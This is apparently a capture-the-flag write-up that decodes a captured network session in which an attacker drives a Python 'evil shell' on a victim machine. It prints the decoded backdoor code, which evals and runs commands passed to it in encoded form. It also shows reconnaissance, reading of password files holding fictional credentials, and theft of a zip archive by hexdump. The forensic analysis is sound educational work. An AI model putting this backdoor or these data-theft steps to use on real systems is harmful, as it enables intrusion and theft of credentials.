Updated: 2022-10-23. (I first wrote the intro back in 2020 when this was active but I didn't want to spoil the solution. Then forgot to add the solution later... Anyway, here it is!)
The challenge continues on the topic of evil shells. I've covered the specific case of web shells in Improving web shells. However, this time it's a python shell using different data encoding and encryption tricks.
From the readme.txt we learn that the client/victim on 172.10.0.5 has been acting strange. We also get the following questions:
1. Which commands are executed in the first step?
2. Which commands are executed in the second step?
3. What is user2's password?
4. When is the invasion starting?
5. What weapons will be used?
To solve we have trafik.pcap, with a single TCP session, and the python file f1.py.
Below is the description of the challenge.
Vad har en av nätverkets klienter för sig? Förstå trafiken och svara på frågorna.
Tillhör tjänsten "Underrättelseanalytiker till Cyberförsvaret" (Påsken 2020).
(16821 bytes, sha256: e260730a555a30b8bd312c6f00be816353b22f72fdbfd0bdf19403727ae20212)
The network traffic indicates that 127.10.0.254 (attacker) initiates the connection to 172.10.0.5 (victim). Shortly after, the victim answers with the prompt:
<3vil$hell:#>
The attacker now asks the victim to run the following code:
python3 -c "import f1 as f; a = f.A('cmd1')"
Here we run into a problem because the actual command for cmd1
is looked up in a separate module which we do not have. But perhaps we can learn from the victim's response:
746f74616c203139320a64 ...
If we follow the code in f1.py we learn that the victim hex encodes the output (methods e(x) and h(x)).
Which when decoded yields:
total 84
drwxr-xr-x 10 user1 user1 4096 Mar 25 08:08 .
drwxr-xr-x 17 user1 user1 4096 Mar 25 08:06 ..
drwxrwx--- 2 user1 user1 4096 Feb 3 08:10 backup
-rw-rw-r-- 1 user1 user1 1096 Mar 25 07:37 bash_history
-rwxrwx--- 1 user1 user1 173 Feb 1 08:37 .bashrc
-rwxrwx--- 1 user1 user1 173 Feb 1 08:37 commands.py
drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Documents
drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Downloads
-rwxrwx--- 1 user1 user1 596 Feb 1 10:12 f1.py
-rwxrwx--- 1 user1 user1 6430 Feb 2 02:24 nc
-rwxrwx--- 1 user1 user1 9847 Mar 25 07:23 nc2
drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Pictures
drwxrwx--- 3 user1 user1 4096 Feb 1 06:39 private
drwxr-xr-x 2 user1 user1 4096 Mar 25 08:08 __pycache__
-rw-rw-r-- 1 user1 user1 5503 Mar 25 08:05 README
drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Videos
drwxrwx--- 6 user1 user1 4096 Mar 25 07:39 work
Based on this output, ls -la
seems like a possible command. -l
because of the long listing format and -a
because we see hidden files like ... Note that we can see the commands.py file here in the output. If only we could read that file, then we wouldn't have to guess! But, based on what we can see, the answer to the first question is ls -la
.
Similar to step 1, but now the attacker tries to execute cmd2
.
Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:8307 localhost:59580 ESTABLISHED tcp 0 0 user:43215 worker:ssh ESTABLISHED tcp 0 0 localhost:55412 localhost:https ESTABLISHED tcp 509 0 user1:40145 webproxy.myweb:http-alt CLOSE_WAIT tcp 0 0 localhost:https localhost:54789 ESTABLISHED tcp 0 0 localhost:44223 localhost:1111 ESTABLISHED Active UNIX domain sockets (w/o servers) Proto RefCnt Flags Type State I-Node Path unix 2 [ ] DGRAM 33489 /run/user/1000/systemd/notify unix 2 [ ] DGRAM 23543 /run/user/120/systemd/notify unix 3 [ ] DGRAM 15950 /run/systemd/notify unix 9 [ ] DGRAM 15961 /run/systemd/journal/socket unix 2 [ ] DGRAM 15983 /run/systemd/journal/syslog unix 29 [ ] DGRAM 16002 /run/systemd/journal/dev-log unix 3 [ ] STREAM CONNECTED 50044 unix 2 [ ] STREAM CONNECTED 46503 unix 3 [ ] STREAM CONNECTED 40504 unix 3 [ ] STREAM CONNECTED 36404 unix 3 [ ] STREAM CONNECTED 41170 /run/systemd/journal/stdout
This output comes from the netstat
command. I don't think any extra flags were used.
Now the attacker is stepping up their game with bigger payloads:
python3 -c "import f1 as f; r=f.A.d('696d70...29290a');print(r)" > f2.py
python3 -c "import f2 as f;e=f.B.e('d');print(e)"
The victim answers with ZA==.
Here the attacker creates a new python file, f2.py, with the contents of the output from f.A.d(data)
. By analyzing f1.py we can learn that f.A.d
is simply hex-decoding the data. Resulting in the following f2.py code:
import sys import subprocess as s import commands as cm class B(object): @staticmethod def e(x): o = cm.c['func1'](x.encode()) return o.decode() @staticmethod def d(x): o = cm.c['func2'](x.encode()) return o.decode() def run(cmd): dec = eval(B.d(cmd)) r = s.run(dec, stdout=s.PIPE).stdout.decode() # print(r) print(B.e(r))
Oh no, we do not know what func1
is. At least we know it takes one argument.
Moreover, we now know that: encode('d') == 'ZA=='
The double equal sign at the end is a good indication that it might be base64 encoding. And indeed, base64('d')
is ZA==.
Taking a step back, we have f1.py that does hex encoding and decoding and now we also have f2.py that does base64 encoding (and probably decoding).
The attacker relentlessly continues with:
python3 -c "import f2 as f;f.run('WydscycsJy1sYSdd')"
f.run
takes a base64 encoded payload, decodes it, executes it, and encodes the output before sending it back. In this case, the command is, similar to step 1, ls -la
.
total 88 drwxr-xr-x 10 user1 user1 4096 Mar 25 08:08 . drwxr-xr-x 17 user1 user1 4096 Mar 25 08:06 .. drwxrwx--- 2 user1 user1 4096 Feb 3 08:10 backup -rw-rw-r-- 1 user1 user1 1096 Mar 25 07:37 bash_history -rwxrwx--- 1 user1 user1 173 Feb 1 08:37 .bashrc -rwxrwx--- 1 user1 user1 173 Feb 1 08:37 commands.py drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Documents drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Downloads -rwxrwx--- 1 user1 user1 596 Feb 1 10:12 f1.py -rw-r--r-- 1 user1 user1 391 Mar 25 08:08 f2.py -rwxrwx--- 1 user1 user1 6430 Feb 2 02:24 nc -rwxrwx--- 1 user1 user1 9847 Mar 25 07:23 nc2 drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Pictures drwxrwx--- 3 user1 user1 4096 Feb 1 06:39 private drwxr-xr-x 2 user1 user1 4096 Mar 25 08:08 __pycache__ -rw-rw-r-- 1 user1 user1 5503 Mar 25 08:05 README drwxr-xr-x 2 user1 user1 4096 Feb 3 07:54 Videos drwxrwx--- 6 user1 user1 4096 Mar 25 07:39 work
In this output we can see the newly created f2.py file.
The attacker continues probing around (I've decoded all base64 here):
$ ls -la backup/
total 16
drwxrwx--- 2 user1 user1 4096 Feb 3 08:10 .
drwxr-xr-x 10 user1 user1 4096 Mar 25 08:08 ..
-rwxrwx--- 1 user1 user1 0 Feb 1 03:08 .bashhist
-rwxrwx--- 1 user1 user1 126 Feb 3 08:10 pw_vault
-rwxrwx--- 1 user1 user1 352 Feb 2 01:38 shadow_copy
$ cat backup/pw_vault
Accounts:
User Pass
--------------
root
user1 sommar2019
user2 HorseHatBatteryStaple
user3
$ cat backup/shadow_copy
root:4c523473b193736d7e00ec6a9be1480a6b10ace5184784b3fabb331fcae40357 // notes: root-priviledges pw: --
user1:d146c62ff4a1b1552bfe162b86d7a656a26d2ad1cf812c4fb3eea0c272bc313b // notes: non_root-priv pw: sommar2020
user2:6008534dbeb34eb413a308f06067bb7f7060582e0b5b3d85c3e35bd07948c437 // notes: root_priviledges pw: HorseHatBatteryStaple
user3:
Now we can answer the third question, user2's password is "HorseHatBatteryStaple".
After a bit more probing into the "private" and "work" directory (containing the "secret_plans.zip") the attacker creates yet another python file, f3.py.
f3.py is using an encryptor/decryptor that I think might be RC4.
The code will look for a file named pass.txt to read the password, if not there, it will fall back to using the password "default_pass". The attacker runs:
$ python3 f3.py 1b17574cd639192cd70e file.txt
Which runs RC4(1b17574cd639192cd70e, "default_pass")
results in "sommar2020", this is then put in the file file.txt.
The next command moves file.txt to pass.txt, making sommar2020 our new cryptographic key.
After some more ls
, the attacker now tries to unzip work/secret_plans.zip
, but wait, no output? Seems like the unzip fails. As a response, the attacker runs cat bash_history
to learn more about the victim's recent commands. By investigating the commands we can see the archive command used to create the archive, including the password! zip -r -P supersecretpassword secret_plans.zip plans
Finally, the attacker downloads/prints the zip using hd -v work/secret_plans.zip
.
00000000 50 4b 03 04 0a 00 00 00 00 00 84 7b 79 50 00 00 |PK.........{yP..|
00000010 00 00 00 00 00 00 00 00 00 00 06 00 1c 00 70 6c |..............pl|
00000020 61 6e 73 2f 55 54 09 00 03 78 6a 7b 5e 8a 6a 7b |ans/UT...xj{^.j{|
...
After extracting the hex data from hexdump we can reconstruct the archive and then extract the content. Starting with attack_plans_VERY_SECRET.txt we get this cute ASCII art plan.
VERY VERY SUPERDUPER SECRET DOCUMENT
====================================
WARNING
DO NOT DISTRIBUTE TO ANYONE!!!
ABSOLUTELY NOT TO THE ENEMY!!!
===================================
When?
Timing is essential. Therefore we start the attack AT DAWN to take the enemy by surprise!
Attack plan:
\
======\
OUR FORCES ======= ENEMY FORCES
======/
/
===||
===|| |==
( > ' ' )> ( > ' ' )> ( > ' ' )>|| |<("<) <("<) <("<) <("<) <("<)
( > ' ' )> ( > ' ' )> ( > ' ' )> <("<) <("<) <("<) <("<) <("<)
( > ' ' )> ( > ' ' )> ( > ' ' )> <("<) <("<) <("<) <("<) <("<)
( > ' ' )> ( > ' ' )> ( > ' ' )> <("<) <("<) <("<) <("<) <("<)
With the answer to question 4: "Timing is essential. Therefore we start the attack AT DAWN to take the enemy by surprise!". Hmm at around 4-5 am? Sounds familiar...
What about the weapons? We just need to check drawing_of_our_new_weapon_VERY_SECRET.txt.
VERY VERY SUPERDUPER SECRET DOCUMENT
====================================
WARNING
DO NOT DISTRIBUTE TO ANYONE!!!
ABSOLUTELY NOT TO THE ENEMY!!!
===================================
IDEA 1:
//
o====||==================>
\\
IDEA 2:
*
***
******
*******************************************
* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ **
* **
******* - - - - - - I C B M - - - - - - - - - ********
* **
* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ **
*******************************************
******
***
*
Seems like a nice combination of melee and long-range weapons!
All in all, a very nice challenge teaching a nice combo of forensics and code analysishow while also showcasing how an attacker might explore a system to steal information.
>>4914
what are you trying to tell us